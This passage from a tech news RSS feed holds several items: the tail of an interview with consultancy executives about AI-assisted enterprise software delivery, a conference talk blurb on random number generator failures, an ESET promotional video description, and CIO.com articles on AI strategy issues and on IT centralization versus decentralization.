<p class="wp-block-paragraph">“Our human wrapper may at first pass come across as a little slowed down. Maybe it is. But [Erickson] has a good analogy about one of the dangers of AI: you can end up going really fast in the wrong direction. By the time you look up, you’re way off base and have to backtrack.“</p>



<p class="wp-block-paragraph"><strong>What about AI in your sector do you think is overhyped?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “The hype around the ease of use of AI and the democratization of enterprise software delivery — that ‘anybody could do it now, it’s all being done by machines’ — is another idea that could prove costly in the long run.</p>



<p class="wp-block-paragraph">“This do-it-yourself reaction is dangerous for clients, and for trust in the overall AI benefit, which is real. We compare it to the beginning of offshoring 20, 30 years ago: a golden idea that was going to cure everything. A lot of firms did it thoughtlessly, thinking it’s just labor arbitrage, and it almost inevitably failed. That all-or-nothing mentality missed that offshoring is an amazing way of getting better value for your dollar, but it has to be done thoughtfully, so the delivery process — the thing that ties it all together — stays unsevered.</p>



<p class="wp-block-paragraph">“We’re seeing that now. I’ve heard, ‘We’ll just push a button, the machine’s building the system.’ The machine is not building the system. It might be writing the code, the story, running the tests.</p>



<p class="wp-block-paragraph">The system is built by a team of engineers you bring in and trust. My fear is that people will say, ‘We don’t need this vendor or this technology team. I’ve got a product team. They might not be able to code at all, but they know the business,’ and it fails dramatically. </p>



<p class="wp-block-paragraph">“Then people say, ‘We played with AI, it’s not ready yet,’ and throw it all away. One of the best things we can do is ensure clients know the benefit is real.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “The hype can be summed up in a single phrase: <a href="https://www.computerworld.com/article/4022711/when-everything-is-vibing.html">vibe coding</a>. That has done AI a massive disservice, because there’s a huge difference between vibe coding and enterprise software development, and some of the loudest proponents of AI are too latched on to it. In our industry, the only way to succeed would be a stable of unicorns. It just doesn’t scale. I get perturbed when our people internally refer to AI tooling as vibe coding; if they think that’s what they’re doing, they’re misunderstood.“</p>



<p class="wp-block-paragraph"><strong>When you engage clients at different levels of AI maturity, how do you get them to a understand what works?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “95% of our take on an agentic approach is in line with everyone else’s, but that 5% matters, especially in requirements discovery, in who’s giving the requirements and how they’re thought of. It can set you up for dramatic errors, given the speed at which you’re moving.</p>



<p class="wp-block-paragraph">“There’s a dangerous human tendency we’re seeing among clients to try and cut corners at the start of a project and — in lieu of having deep, expert driven discovery sessions — just summarize what they may want using AI.</p>



<p class="wp-block-paragraph">“We would hope our clients are collaborative, everyone understanding it’s early days. If a client insists on doing something we feel strongly against, like a product owner completely owning everything right up to code generation, that’s an issue we have to either push back strongly on or step out of the accountability for.“</p>



<p class="wp-block-paragraph"><strong>AI body shops — LLM providers and giant consultancies — are emerging to help enterprises deploy AI. Does that model work?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “Whether you’re partnering with an LLM or with an AI-first, generic software provider — ‘Hey, we’re not industry guys, but we know AI delivery’ — you end up, if you’re a bank or a broker-dealer, saying: ‘All right, we know our business, these guys know the AI side of it. What could go wrong? Put us together and we’ll have quality engineering.’</p>



<p class="wp-block-paragraph">“The problem is what you miss: the know-how of putting industry and technical expertise together and actually delivering financial services systems. The people working at the generic delivery firms, whether an AI-only firm or a body shop somewhere, don’t have that capability.“</p>



<p class="wp-block-paragraph"><strong>Does AI change the economics for smaller consultancies like yours competing against the big firms, and does it cut both ways?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “Over our 15 years pre-AI, there were two recurring reasons we’d lose a project. One: ‘We’d love to work with you guys, given your subject matter expertise, but the costs just aren’t there compared to my budgets. I’m being forced to go to a body shop or an [offshore] delivery center.’ The other side of that coin: ‘We love your capabilities, but you’re a firm of 230 people and I need 300, 400 people.’</p>



<p class="wp-block-paragraph">“AI changes the options for clients. You don’t have to sacrifice the niche vendor who knows your space just because you need a larger team or a cost target. AI levels the playing field and should allow smaller firms to compete with the larger, big-box generic firms, the Accentures of the world.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “It redefines what scale means. You can look at velocity as a measure of your cost to deliver, not a rate card. Scale can’t be defined in terms of headcount anymore. It’s got to be defined in terms of output.</p>



<p class="wp-block-paragraph">“There’s a threat in it, too. If you’re an Accenture with hundreds of thousands of low-cost software engineers, how do you train all those people? I feel for them. But for us, a couple hundred people with a specific domain focus, it’s a huge opportunity.“</p>



<p class="wp-block-paragraph"><strong>How has the profile of the people you and others hire changed with this agentic process?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “You’re still looking for people with strong engineering and design backgrounds, and communication skills, because they interact across the software development lifecycle more than in the past.</p>



<p class="wp-block-paragraph">“Many take too much joy in typing out perfect code. Sorry, I don’t need you writing for-loops and classes anymore. I need you reviewing them, understanding them, operating at a higher level. That’s a different kind of person: an engineer, not a programmer or a coder. On the [business analyst] side it’s similar: people took great pride in detailed user stories covering every path. Now it’s conversations, prompts, reviewing output — less doing, more interacting.</p>



<p class="wp-block-paragraph">“More than ever, they have to be interested in the domain. They can’t just be, ‘I want to learn everything there is to know about Java.’ That’s too narrow. They don’t have to be an expert; they have to be interested. In our case, capital markets is a specific niche. The biggest challenge is getting familiar with the tools — finding time, while delivering for customers, to ramp up and make the mistakes you need to without jeopardizing projects.“</p>



<p class="wp-block-paragraph"><strong>What about governance? Who’s keeping AI delivery and its costs under control?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “This is evolving rapidly. People aren’t sure how to put governance around this. The most obvious is financial governance. People are starting to get hefty bills. One of our clients spent a million dollars on tokens over the last eight weeks alone. Sticker shock. The token-maxing policies are starting to show their flaws. It’s wild west still: learn on the fly, then figure out what needs to be governed.“</p>



<p class="wp-block-paragraph"><strong>Are CIOs actually opening their wallets? And when they do, what’s the smarter way to invest?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “There’s still a lot of caution. Forecasts keep going down on how long something should take. So: ‘I could wait three months and maybe still get it delivered by the same date someone’s promising me now, but for half the price. I’m going to wait and see when equilibrium is met.’ We haven’t seen the wallets open up like crazy — it’s slow adoption.“</p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “One of our clients is looking at it from a productivity-boost perspective: instead of doing the same for less, I can do much more for the same. AI lets clients pull the trigger on things they wouldn’t have in the past — projects that might not have been approved pre-AI, where the costs have come down to a point that’s palatable with the business.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “And that’s the story we’re hoping to hear more of. There isn’t a huge cost anymore to exploring a business opportunity. The time and money that would have gone to a return-on-investment study could be spent on a proof-of-concept with AI, and the project done a few weeks later. Maybe [there’s] a hint of things to come, where decisions start being made quicker. </p>



<p class="wp-block-paragraph">“There’s a little fear on our side, though: a lot of tiny little projects is tough for a consulting business.“</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How NOT to make a Random Number Generator? (emf2026)]]></title>
<description><![CDATA[What connects quiz-show winners, on-line poker cheaters and cyber attacks on Taiwanese national ID cards?

In this talk I’ll present a historical overview of randomness failures.
Why are random number generators so often at the root of cyber-security problems and why are they so damn difficult to...]]></description>
<link>https://tsecurity.de/de/3680898/it-security-video/how-not-to-make-a-random-number-generator-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680898/it-security-video/how-not-to-make-a-random-number-generator-emf2026/</guid>
<pubDate>Mon, 20 Jul 2026 12:48:57 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What connects quiz-show winners, on-line poker cheaters and cyber attacks on Taiwanese national ID cards?

In this talk I’ll present a historical overview of randomness failures.
Why are random number generators so often at the root of cyber-security problems and why are they so damn difficult to implement in hardware?

I will go over several incidents of security failures caused by bad randomness in the last few decades, and from each incident we will try to learn what not to do.
Finally, after eliminating all the wrong ways of generating randomness, possibly we’ll be left with the correct one.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/59-how-not-to-make-a-random-number-generator]]></content:encoded>
</item>
<item>
<title><![CDATA[Independence, Trust & AI: The ESET Story]]></title>
<description><![CDATA[Author: ESET - Bewertung: 0x - Views:49 At ESET, cybersecurity isn’t just about reacting to threats, it’s about understanding them, learning from them, and staying ahead of them. For nearly 40 years, we’ve built our expertise on independence, long-term thinking, and deep global insight.

From pro...]]></description>
<link>https://tsecurity.de/de/3680895/it-security-video/independence-trust-ai-the-eset-story/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680895/it-security-video/independence-trust-ai-the-eset-story/</guid>
<pubDate>Mon, 20 Jul 2026 12:48:53 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: ESET - Bewertung: 0x - Views:49 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/LJJB3Kvyd2o?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>At ESET, cybersecurity isn’t just about reacting to threats, it’s about understanding them, learning from them, and staying ahead of them. For nearly 40 years, we’ve built our expertise on independence, long-term thinking, and deep global insight.<br />
<br />
From proprietary technology developed in-house to real-time telemetry that gives us a front-row seat to the world’s most complex cyber challenges, we believe in one principle above all: you can’t protect what you don’t truly understand.<br />
<br />
In this video, our founders and experts share what makes ESET different:<br />
• Why independence is critical to cybersecurity integrity<br />
• How we train and use AI responsibly<br />
• What decades of threat intelligence have taught us<br />
• Why trust is built over years not moments<br />
• How we balance innovation with responsibility<br />
<br />
We don’t rush decisions. We don’t follow trends blindly. We build solutions that last guided by values that outlast change.<br />
<br />
Connect with us on: https://www.eset.com/ https://www.facebook.com/eset https://www.linkedin.com/company/eset/  https://www.instagram.com/eset/ https://x.com/ESET<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[7 issues impacting AI strategies — and how CIOs should respond]]></title>
<description><![CDATA[CIOs remain at the forefront of setting the course for AI adoption in their organizations.



In fact, 82% of CIO respondents to CIO.com’s 2026 State of the CIO survey are responsible for researching and evaluating AI products, with 78% of IT leaders saying their IT departments are driving AI ado...]]></description>
<link>https://tsecurity.de/de/3680786/it-nachrichten/7-issues-impacting-ai-strategies-and-how-cios-should-respond/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680786/it-nachrichten/7-issues-impacting-ai-strategies-and-how-cios-should-respond/</guid>
<pubDate>Mon, 20 Jul 2026 12:03:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">CIOs remain at the forefront of setting the course for AI adoption in their organizations.</p>



<p class="wp-block-paragraph">In fact, 82% of CIO respondents to <a href="https://us.resources.cio.com/resources/state-of-the-cio/">CIO.com’s 2026 State of the CIO survey</a> are responsible for researching and evaluating AI products, with 78% of IT leaders saying their IT departments are driving AI adoption efforts, with business units aligning their strategies accordingly.</p>



<p class="wp-block-paragraph">As such, CIOs are leading or co-leading AI strategies at the majority of organizations, with many also playing a key role in tackling <a href="https://www.cio.com/article/4016354/cios-tackle-the-ai-change-management-challenge.html">AI change management</a>. They report encountering numerous factors — from heightened pressure to deliver ROI to challenges with trust in AI outputs — as they formulate and shape those AI strategies.</p>



<p class="wp-block-paragraph">Here’s a look at seven notable issues impacting AI strategies in 2026.</p>



<h2 class="wp-block-heading">1. Increasing pressure to show ROI for AI investments</h2>



<p class="wp-block-paragraph">The era of AI experimentation and pilots is over. Boards and CEOs are making it clear they want to see <a href="https://www.cio.com/article/4114010/2026-the-year-ai-roi-gets-real.html">quantifiable returns from their AI investments</a>. Kyndryl’s 2025 <a href="https://www.kyndryl.com/us/en/insights/readiness-report-2025">Readiness Report</a>, for example, found that 61% of senior business leaders and decision-makers felt more pressure to prove ROI on their AI investments than they had the prior year.</p>



<p class="wp-block-paragraph">“The era of funding AI is shifting from everything all-in to every project has to have line of sight to some financial value at the end of the day. It’s moving from the experimentation phase to expecting measurable outcomes,” says <a href="https://www.ensono.com/company/leadership/jim-piazza/">Jim Piazza</a>, chief AI officer at IT services firm Ensono.</p>



<p class="wp-block-paragraph">As a result, Piazza says companies, both his own as well as those he advises, are more diligent about building business cases that estimate implementation costs, AI run costs, and expected benefits so they’re primed to pursue AI initiatives that will deliver ROI.</p>



<p class="wp-block-paragraph">That strategy seems to be paying off. According to the <a href="https://www.prnewswire.com/news-releases/dun--bradstreet-global-survey-of-10-000-businesses-finds-ai-impact-at-an-inflection-point-302761821.html">May 2026 AI Momentum Survey from Dun &amp; Bradstreet</a>, 67% of 10,000 businesses surveyed reported seeing early signs or pockets of ROI, 20% reported multiple projects delivering ROI, and 10% reported strong ROI.</p>



<p class="wp-block-paragraph">That’s a big jump from earlier surveys that found few AI initiatives providing returns. For example, <a href="https://www.pwc.com/gx/en/news-room/press-releases/2026/pwc-2026-global-ceo-survey.html">PwC’s 2026 Global CEO Survey</a>, released in January, found that 56% of CEOs saw no significant financial benefit from AI to date, while <a href="https://mlq.ai/media/quarterly_decks/v0.1_State_of_AI_in_Business_2025_Report.pdf">The GenAI Divide: State of AI in Business 2025</a> from MIT found that 95% of enterprise generative AI projects failed to show measurable financial returns within six months.</p>



<h2 class="wp-block-heading">2. The need to harness AI for transformation</h2>



<p class="wp-block-paragraph">The No. 1 concern for CEOs this year, according to <a href="https://www.pwc.com/gx/en/news-room/press-releases/2026/pwc-2026-global-ceo-survey.html">PwC’s 2026 Global CEO Survey</a>, is whether they’re transforming fast enough to keep pace with technological change, cited by 42% of respondents as their top concern. And 68% of the 1,120-plus C-suite executives surveyed by KPMG for its May 2026 <a href="https://kpmg.com/us/en/articles/2026/adaptability-pulse-survey.html">Adaptability Pulse Survey</a> said they feel pressure to accelerate innovation.</p>



<p class="wp-block-paragraph">That in turn is influencing AI strategies.</p>



<p class="wp-block-paragraph"><a href="http://steve%20santana%20%7C%20linkedin/">Steve Santana</a>, CIO and head of AI at ETS, the world’s largest private nonprofit educational testing and assessment organization, says his company is “pivoting from working on enterprise efficiencies using AI to figuring out how to deliver assessments,” adding that “AI will enable innovation we couldn’t get to before.”</p>



<p class="wp-block-paragraph">For ETS, that means reimagining how the company delivers its core products, “finding areas to do something you couldn’t do before because it was too big or too daunting,” such as having more interactive tests and assessments at scale, Santana says.</p>



<p class="wp-block-paragraph">And while Santana believes organizations can’t move too slowly, he predicts innovation will trump speed. “The winners and losers in the AI race aren’t always going to be the ones that got there the fastest,” he says, observing that those who move too fast “can drive behaviors that are very dangerous.”</p>



<p class="wp-block-paragraph">He adds, “I’m not advocating for moving slow; I’m advocating moving at pace. It’s better to be measured in your approach.”</p>



<h2 class="wp-block-heading">3. The black box of AI costs</h2>



<p class="wp-block-paragraph">CIOs are struggling to calculate the full cost to run AI for their use cases, with estimates coming in well under what their actual bills will be. Consider the figures from research firm IDC, which found that global 1,000 companies will <a href="https://www.cio.com/article/4107377/cios-will-underestimate-ai-infrastructure-costs-by-30.html">underestimate their AI infrastructure costs by 30% through 2027</a>.</p>



<p class="wp-block-paragraph">That makes identifying which AI use cases will produce quantifiable value much more challenging, which in turn makes determining a winning AI strategy harder to do. CIOs, however, say they can’t let that stop them from advising their C-suite colleagues on which AI use cases are likely to be winners.</p>



<p class="wp-block-paragraph">“You can’t sit on the sidelines and wait and watch. The general conclusion is you’re going to lose if you do that, so you have to play even though the cost dynamics are not really well understood,” says <a href="http://mohan%20sankararaman%20-%20corporate%20leadership/">Mohan Sankararaman</a>, executive vice president and CIO of First Horizon Bank.</p>



<p class="wp-block-paragraph">Sankararaman says he’s devising his AI strategy with that uncertainty in mind.</p>



<p class="wp-block-paragraph">“It’s up to me and my team to figure out how to optimize our use for costs, just like we did with cloud,” he says, noting that part of his strategy is to avoid infrastructure choices that could result in AI vendor lock-in and, thus, getting stuck with that vendor’s bills.</p>



<p class="wp-block-paragraph">“IT has to get the engineering right and not overengineer solutions to make sure the AI strategy we pursue delivers returns,” he adds.</p>



<p class="wp-block-paragraph">Researchers recommend such approaches. In a <a href="https://www.idc.com/resource-center/blog/balancing-ai-innovation-and-cost-the-new-finops-mandate/">blog highlighting the IDC research</a>, Jevin Jensen, research vice president for infrastructure and operations at IDC, wrote that “organizations successfully navigating this challenge are ones that effectively share a common trait: they’ve reimagined FinOps as a strategic team, not an after-the-fact accounting exercise. They treat <a href="https://my.idc.com/getdoc.jsp?containerId=US53858725&amp;pageType=PRINTFRIENDLY" target="_blank" rel="noreferrer noopener">AI economics as a living ecosystem</a> — measurable, visible, and continuously optimized.”</p>



<h2 class="wp-block-heading">4. Aligning use cases to business strategy</h2>



<p class="wp-block-paragraph">There are an overwhelming number of potential use cases, so execs must pick and prioritize those that will help them achieve their strategic goals.</p>



<p class="wp-block-paragraph">That’s easier said than done.</p>



<p class="wp-block-paragraph">Enterprise Strategy Group’s <a href="https://www.snowflake.com/en/news/press-releases/snowflake-research-reveals-that-92-percent-of-early-adopters-see-roi-from-ai-investments/">2025 report on generative AI’s ROI</a> surveyed 1,900 business and IT leaders across nine countries and found that 71% had more potential use cases that they want to pursue than they can possibly fund; 54% said selecting the right use cases based on objective measures like cost, business impact, and the organization’s ability to execute is hard; and 71% acknowledged that selecting the wrong use cases will hurt their company’s market position. Furthermore, 59% of respondents said advocating for the wrong use cases could cost them their job.</p>



<p class="wp-block-paragraph">Longtime CIO adviser <a href="http://larry%20wolff%20%7C%20linkedin/">Larry Wolff</a> says challenges picking and prioritizing use cases stems in part from boards and CEOs commanding their teams “to do AI.” Such directives, he explains, puts the technology first and business goals second — something CIOs have been trying to avoid for years.</p>



<p class="wp-block-paragraph">“There should not be a technology strategy. There should be a business strategy with a technology component. The same applies to AI,” says Wolff, now CIO of Preferred Travel Group. “We need to talk about business challenges and opportunities first and then talk about how AI can solve for those.”</p>



<h2 class="wp-block-heading">5. Human readiness to use AI</h2>



<p class="wp-block-paragraph">Even as Sankararaman and his executive colleagues build the bank’s AI strategy, he still sees the need to <a href="https://www.cio.com/article/4146677/the-ai-revolution-getting-culture-right-for-ai-success.html">improve the organization’s understanding of the technology</a>. “Everybody has a basic understanding, but AI fluency isn’t where it should be,” he says, noting that a subpar level of fluency “can hamper creativity.”</p>



<p class="wp-block-paragraph">“If the strategy is to become top notch in, say, customer experience, we have to determine how to achieve that. And if you start building the road map but you don’t know what the technology can do, then the strategy will be limited,” he adds.</p>



<p class="wp-block-paragraph">Sankararaman considers running AI boot camps for executives and their direct reports to improve their knowledge of AI and its transformative capabilities. “Not everyone needs to be an AI expert, but we still need to have a level of understanding of, say, what a large language model is and how to apply it and other elementary things like that. The hope is that when we do talk about strategy for business outcomes, everyone will know how to leverage AI,” he explains.</p>



<p class="wp-block-paragraph">According to <a href="https://www.ey.com/en_us/people/jamaal-justice">Jamaal Justice</a>, principal for people consulting at EY, concern about AI fluency is widespread.</p>



<p class="wp-block-paragraph">“One of the biggest challenges that impacts the success of an AI strategy is human readiness,” Justice says. He points to <a href="https://www.ey.com/en_uk/insights/workforce/work-reimagined-survey">EY research</a> showing “that while 88% of employees use AI at work, only 28% of organizations have positioned employees to achieve transformative business impact from AI. This underscores that the challenge is not access, but adoption and readiness.”</p>



<p class="wp-block-paragraph">Like Sankararaman, Justice acknowledges that it’s OK to have a spectrum of knowledge and use among workers. But success with AI “depends on aligning mindsets, skillsets, and toolsets, by creating the right conditions for both workforce readiness and effective technology use,” he says.</p>



<p class="wp-block-paragraph">“Organizations that integrate human capability with technology and fundamentally rearchitect work using a human-centered and value-oriented approach will unlock value at scale,” he adds. “Those that don’t risk fragmented adoption and limited returns.”</p>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_uk/insights/workforce/work-reimagined-survey">EY research</a> confirms as much, finding that productivity gains can fall by more than 40% when AI is deployed on weak talent foundations, including poor learning, culture, and incentives.</p>



<h2 class="wp-block-heading">6. Data readiness for AI use</h2>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4104444/8-tips-for-rebuilding-an-ai-ready-data-strategy.html">Data readiness</a> is also lagging at most organizations, further hindering AI ambitions.</p>



<p class="wp-block-paragraph">According to a 2026 report from Cloudera and Harvard Business Review Analytic Services titled <a href="https://www.cloudera.com/campaign/taming-the-complexity-of-ai-data-readiness.html">Taming the Complexity of AI Data Readiness</a>, 73% of surveyed business leaders said their organization struggles with AI data preparation. The top obstacles are siloed data and difficulty integrating data sources (56%), lack of a clear data strategy (44%), data quality and bias issues (41%), and regulatory constraints on data use (34%).</p>



<p class="wp-block-paragraph">To ensure AI success, “a radical reshaping of the data landscape is needed,” says <a href="https://www.linkedin.com/in/steve-prewitt-295859/">Steve Prewitt</a>, who as chief data and AI officer at IT services firm Genpact advises clients on AI deployments for their own organizations.</p>



<p class="wp-block-paragraph">That reshaping is more critical today as agentic AI becomes more prevalent, Prewitt observes. Organizations need high-quality well-governed data to enable and trust AI agents to make real-time decisions autonomously. Otherwise, organizations either can’t move forward with deploying agents or, if they do, risk triggering cascading failures.</p>



<h2 class="wp-block-heading">7. Engendering trust</h2>



<p class="wp-block-paragraph">ETS CIO Santana and his colleagues recognize AI’s potential to deliver faulty outputs, whether from problematic data, drift, or other problems. Everyday users recognize that potential, too.</p>



<p class="wp-block-paragraph">That’s why the issue of trust has a significant impact on the nonprofit’s AI strategy. Companies such as ETS that provide critical, high-stakes services know they must earn trust by building AI use cases that can consistently and demonstratively deliver accurate outputs, Santana says.</p>



<p class="wp-block-paragraph">ETS’s strategy is to highlight where AI is making high-stakes decisions and to detail what steps the company must take to ensure that it consistently delivers accurate, trustworthy outputs and that it conforms to established standards and requirements, he says.</p>



<p class="wp-block-paragraph">“You don’t want someone to feel the results may be wrong if you’re using AI to assess a person and their future depends on it,” he notes. “You want to remove any doubts [in such AI use cases], and the strategy should ensure that. The strategy should include all the work needed to have that trust.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Finding the right balance between autonomy and scale]]></title>
<description><![CDATA[For diversified enterprises, few operating model questions are as persistent or polarizing as centralization versus decentralization. Decentralization promises speed, ownership, and local responsiveness. Centralization promises efficiency, standardization, and leverage. Both can be right. Both ca...]]></description>
<link>https://tsecurity.de/de/3680711/it-security-nachrichten/finding-the-right-balance-between-autonomy-and-scale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680711/it-security-nachrichten/finding-the-right-balance-between-autonomy-and-scale/</guid>
<pubDate>Mon, 20 Jul 2026 11:36:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For diversified enterprises, few operating model questions are as persistent or polarizing as centralization versus decentralization. Decentralization promises speed, ownership, and local responsiveness. <a href="https://www.cio.com/article/4166851/coherence-where-leadership-and-ai-success-intersect.html?utm=hybrid_search">Centralization</a> promises efficiency, standardization, and leverage. Both can be right. Both can be wrong. The challenge is that many organizations end up with both models operating at once, without enough clarity about why.</p>



<p class="wp-block-paragraph">The result of fragmented systems, duplicated capabilities, inconsistent data, rising IT spend, and a complexity tax that compounds over time is familiar to many CIOs. What starts as autonomy can become architectural sprawl. What starts as enterprise leverage can become bureaucracy. And as companies modernize core platforms, integrate data, and scale capabilities like AI, the tension becomes harder to ignore.</p>



<p class="wp-block-paragraph">Paul Krebs has lived that tension from multiple vantage points. Most recently as CIO and chief transformation officer at Koch Industries, and previously a technology and transformation leader at The Coca-Cola Company, he’s worked in environments where business units value autonomy, enterprise scale matters, and the wrong <a href="https://www.cio.com/article/4074675/the-clear-advantage-of-an-80-20-ai-operating-model.html">operating model</a> can slow progress just as easily as the wrong technology architecture.</p>



<p class="wp-block-paragraph">His conclusion isn’t that CIOs should pick a side, but they need a more intentional form of centralization, one that starts with business architecture, clarifies decision rights, and continually revisits where capabilities should sit as the organization matures.</p>



<h2 class="wp-block-heading"><a></a>Centralization: a design choice, not a doctrine</h2>



<p class="wp-block-paragraph">In diversified organizations, <a href="https://www.cio.com/article/649879/how-huber-spurs-innovation-in-a-historically-decentralized-business.html?utm=hybrid_search">decentralization</a> often starts as the default because it aligns with how the business creates value. Local businesses understand their customers, markets, regulatory environments, and operating realities, and giving them decision rights can increase speed and accountability.</p>



<p class="wp-block-paragraph">In Krebs’ experience, the default model often leaned toward decentralization, he says, with the belief that optimizing for customers and markets would allow different businesses to be as responsive as possible to the specific customers and markets they served. But that logic isn’t complete. Leaders also need to ask whether there’s a compelling case where a more centralized approach can generate additional value, accelerate progress, or optimize investments.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4021841/lighting-the-first-flame-how-to-spark-a-transformation-that-sticks.html">Digital transformation</a> created one of those moments. Krebs recalls around 2016 when Koch challenged its businesses to build multi-year digital transformation roadmaps. The ambition was there, but the capabilities to execute at the necessary pace weren’t evenly distributed. In response, the organization invested more aggressively from the center, building shared services and centers of expertise in areas such as business transformation, enterprise applications, and data and analytics.</p>



<p class="wp-block-paragraph">The purpose was acceleration, not control. Centralizing those capabilities helped accelerate learnings, capability building, and their ability to deploy new solutions at scale. But the move wasn’t treated as permanent. “There was always a belief that the centralization push should be re-looked at on a regular basis, not thought of as a forever decision,” he says.</p>



<h2 class="wp-block-heading"><a></a>Know what belongs at the center</h2>



<p class="wp-block-paragraph">Over time, Krebs learned that  the capabilities most likely to remain centralized were those where scale, consistency, and risk management mattered more than local differentiation. Infrastructure, <a href="https://www.cio.com/article/4065346/how-cross-functional-teams-rewrite-the-rules-of-it-collaboration.html?utm=hybrid_search">collaboration platforms</a>, cybersecurity, cloud management, FinOps, and the help desk were natural candidates to remain shared services.</p>



<p class="wp-block-paragraph">Other areas were more nuanced. Some application capabilities moved back into the businesses as local maturity increased. Many data and insights capabilities also moved closer to the business once teams had built enough muscle to own them. Meanwhile, certain emerging capabilities such as spatial technologies like AR/VR remained centralized because it didn’t yet make sense for each business to build them independently. Many companies have lived this journey as well, for example, with gen AI, which often started with a <a href="https://www.cio.com/article/4027422/the-missing-backbone-behind-your-stalled-ai-strategy.html">center of excellence</a>, and then evolved into a more decentralized approach, enabling teams across the business to innovate quickly.</p>



<p class="wp-block-paragraph">That distinction avoids the trap of treating the enterprise as one uniform operating model. “Both models can be successful, and both have advantages,” he says. “That’s what makes the balance so difficult.”</p>



<p class="wp-block-paragraph">Centralization provides a clearer path to execution at scale and cleaner decision rights, but it requires <a href="https://www.cio.com/article/4082282/preparing-your-workforce-for-ai-agents-a-change-management-guide.html?utm=hybrid_search">change management</a> and careful attention to bureaucracy. Decentralization provides ownership and speed, but it can also over index toward preference versus real differentiation, he adds, while making architecture harder to scale later.</p>



<h2 class="wp-block-heading"><a></a>Don’t confuse standardization with centralization</h2>



<p class="wp-block-paragraph">One of the most important distinctions Krebs makes is between centralization and standardization. Many organizations treat them as interchangeable, but they’re not.</p>



<p class="wp-block-paragraph">“You can have a centralized team that can manage the nuances of different requirements,” Krebs says. “You can also have a centralized standard platform that can be used in a decentralized manner.”</p>



<p class="wp-block-paragraph">That distinction opens up more operating model choices. A company may centralize a platform but decentralize how business teams configure or use it. It may standardize process patterns while keeping execution close to the region or business unit. It may also centralize architectural governance while allowing local teams to move quickly within defined guardrails.</p>



<p class="wp-block-paragraph">This is especially important in global organizations, where regional needs are real but not always unique. Krebs advises leaders to examine whether local requirements can be made more generic and reusable. The risk is solving each local requirement as a one-off, so the better path is to understand the underlying requirement, build it in a way that can scale, and still allow local teams to execute within the standard model.</p>



<h2 class="wp-block-heading"><a></a>Let business architecture lead technology architecture</h2>



<p class="wp-block-paragraph">Few topics expose the centralization tension more clearly than ERP consolidation. Many diversified companies, particularly those shaped by acquisition, end up with dozens or hundreds of ERP instances. Some leaders push for massive consolidation. Others prefer to build integration layers on top of the existing environment.</p>



<p class="wp-block-paragraph">Krebs’s starting point is neither technology nor cost. It’s business architecture. “The easiest and most effective path is when the IT or systems architecture follows and aligns to the business architecture,” he says.</p>



<p class="wp-block-paragraph">If the business is truly going to operate processes separately, separate systems may be appropriate. But if the organization has numerous teams, processes, and tools, leaders need to ask whether there’s enough differentiation and value to justify that complexity.</p>



<p class="wp-block-paragraph">The same logic applies to <a href="https://www.cio.com/article/3973877/treat-your-transformation-like-a-merger.html">M&amp;A</a>. Companies can get into trouble when integration synergies are held hostage by ERP migration timelines. Instead, Krebs advises starting with the business integration strategy. Understand where the synergies are, how the business architecture should come together, and then decide whether the IT architecture needs to be fully integrated, or whether a data layer, reporting platform, or other integration approach can deliver value faster.</p>



<h2 class="wp-block-heading"><a></a>Make the cost of complexity visible</h2>



<p class="wp-block-paragraph">CIOs in decentralized companies often face a frustrating dynamic. The business wants autonomy and speed, but the same leadership team still questions why IT spend is high relative to benchmarks. Krebs says the answer starts with cost alignment and visibility.</p>



<p class="wp-block-paragraph">In environments with a mix of centralized and decentralized services, Krebs saw centralized capabilities like infrastructure, help desk, and security perform well on benchmarks. More decentralized areas, such as BI, reporting, and commercial applications, often had more redundancy and higher cost.</p>



<p class="wp-block-paragraph">The point isn’t to blame the business but make the <a href="https://www.cio.com/article/3985680/products-not-permission-slips-a-new-way-to-pay-for-digital-value.html">economics</a> of complexity visible. CIOs need to show how flexibility in one area may require multiple systems, data stores, or teams elsewhere. “I understand we want flexibility here,” Krebs says. “But leaders must see when that flexibility may cost the company money, and be clear on whether the value justifies it.”</p>



